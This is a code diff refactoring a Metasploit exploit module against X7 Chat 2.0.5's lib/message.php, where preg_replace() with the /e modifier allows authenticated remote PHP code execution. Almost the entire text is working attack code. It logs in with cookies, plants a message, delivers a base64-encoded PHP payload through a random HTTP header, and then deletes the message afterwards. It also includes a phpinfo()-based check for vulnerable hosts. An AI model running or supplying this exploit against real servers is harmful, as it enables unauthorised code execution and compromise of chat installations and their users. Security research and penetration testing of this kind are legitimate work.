@@ -13,19 +13,20 @@ class Metasploit3 < Msf::Exploit::Remote
1313
1414 def initialize ( info = { } )
1515 super ( update_info ( info ,
16- 'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
16+ 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
1717 'Description' => %q{
18- This module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1.
19- Library lib/message.php uses preg_replace() function with the /e modifier.
20- This allows a remote authenticated attacker to execute PHP code in the remote machine.
18+ This module exploits a post-auth vulnerability found in X7 Chat versions
19+ 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
20+ uses preg_replace() function with the /e modifier. This allows a remote
21+ authenticated attacker to execute arbitrary PHP code in the remote machine.
2122 } ,
2223 'License' => MSF_LICENSE ,
2324 'Author' =>
2425 [
2526 'Fernando Munoz <fernando[at]null-life.com>' , # discovery & module development
2627 'Juan Escobar <eng.jescobar[at]gmail.com>' , # module development @itsecurityco
2728 ] ,
28- 'Platform' => [ 'php' ] ,
29+ 'Platform' => 'php' ,
2930 'Arch' => ARCH_PHP ,
3031 'Targets' => [ [ 'Generic (PHP Payload)' , { } ] ] ,
3132 'DisclosureDate' => 'Oct 27 2014' ,
@@ -40,25 +41,25 @@ def initialize(info = {})
4041 end
4142
4243 def check
43- res = exec_php ( 'phpinfo(); die();' , true )
44+ res = exec_php ( 'phpinfo(); die();' , true )
4445
45- if res && res . body =~ /This program makes use of the Zend/
46- return Exploit ::CheckCode ::Vulnerable
47- else
48- return Exploit ::CheckCode ::Unknown
49- end
46+ if res && res . body =~ /This program makes use of the Zend/
47+ return Exploit ::CheckCode ::Vulnerable
48+ else
49+ return Exploit ::CheckCode ::Unknown
50+ end
5051 end
5152
52- def exec_php ( php_code , check = false )
53+ def exec_php ( php_code , is_check = false )
5354
5455 # remove comments, line breaks and spaces of php_code
55- pclean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
56+ payload_clean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
5657
5758 # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
58- while Rex ::Text . encode_base64 ( pclean ) =~ /=/
59- pclean = "#{ pclean } "
59+ while Rex ::Text . encode_base64 ( payload_clean ) =~ /=/
60+ payload_clean = "#{ payload_clean } "
6061 end
61- pb64 = Rex ::Text . encode_base64 ( pclean )
62+ payload_b64 = Rex ::Text . encode_base64 ( payload_clean )
6263
6364 cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
6465 cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD' ] ) } "
@@ -82,14 +83,14 @@ def exec_php(php_code, check = false)
8283 }
8384 } )
8485
85- if ! res || res . code ! = 200
86+ unless res && res . code = = 200
8687 print_error ( "Sending the message (#{ rand_text } ) has failed" )
87- return
88+ return false
8889 end
8990
9091 if res . body =~ /([0-9]*)">#{ rand_text } /
9192 message_id = Regexp . last_match [ 1 ]
92- userpanel = 'user_cp'
93+ user_panel = 'user_cp'
9394 else
9495 print_error ( "Could not find message (#{ rand_text } ) in the message list" )
9596
@@ -111,35 +112,42 @@ def exec_php(php_code, check = false)
111112 }
112113 } )
113114
114- if ! res || res . code ! = 200
115+ unless res && res . code = = 200
115116 print_error ( "Sending the message (#{ rand_text } ) has failed" )
116- return
117+ return false
117118 end
118119
119120 if res . body =~ /([0-9]*)">#{ rand_text } /
120121 message_id = Regexp . last_match [ 1 ]
121- userpanel = 'usercp'
122+ user_panel = 'usercp'
122123 else
123124 print_error ( "Could not find message (#{ rand_text } ) in the message list" )
124- return
125+ return false
125126 end
126127 end
127128
128129 print_status ( "Accessing message (#{ rand_text } )" )
129130 print_status ( "Sending payload in HTTP header '#{ rand_text } '" )
131+
132+ if is_check
133+ timeout = 20
134+ else
135+ timeout = 3
136+ end
137+
130138 res = send_request_cgi ( {
131139 'method' => 'GET' ,
132140 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
133141 'headers' => {
134142 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
135- rand_text => pb64 ,
143+ rand_text => payload_b64 ,
136144 } ,
137145 'vars_get' => {
138- 'act' => userpanel ,
146+ 'act' => user_panel ,
139147 'cp_page' => 'msgcenter' ,
140148 'read' => message_id ,
141149 }
142- } )
150+ } , timeout )
143151
144152 res_payload = res
145153
@@ -151,7 +159,7 @@ def exec_php(php_code, check = false)
151159 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
152160 } ,
153161 'vars_get' => {
154- 'act' => userpanel ,
162+ 'act' => user_panel ,
155163 'cp_page' => 'msgcenter' ,
156164 'delete' => message_id ,
157165 }
@@ -161,15 +169,20 @@ def exec_php(php_code, check = false)
161169 print_good ( "Message (#{ rand_text } ) removed" )
162170 else
163171 print_error ( "Removing message (#{ rand_text } ) has failed" )
172+ return false
164173 end
165174
166175 # if check return the response
167- if check
176+ if is_check
168177 return res_payload
178+ else
179+ return true
169180 end
170181 end
171182
172183 def exploit
173- exec_php ( payload . encoded )
184+ unless exec_php ( payload . encoded )
185+ fail_with ( Failure ::Unknown , "#{ peer } - Exploit failed, aborting." )
186+ end
174187 end
175188end
0 commit comments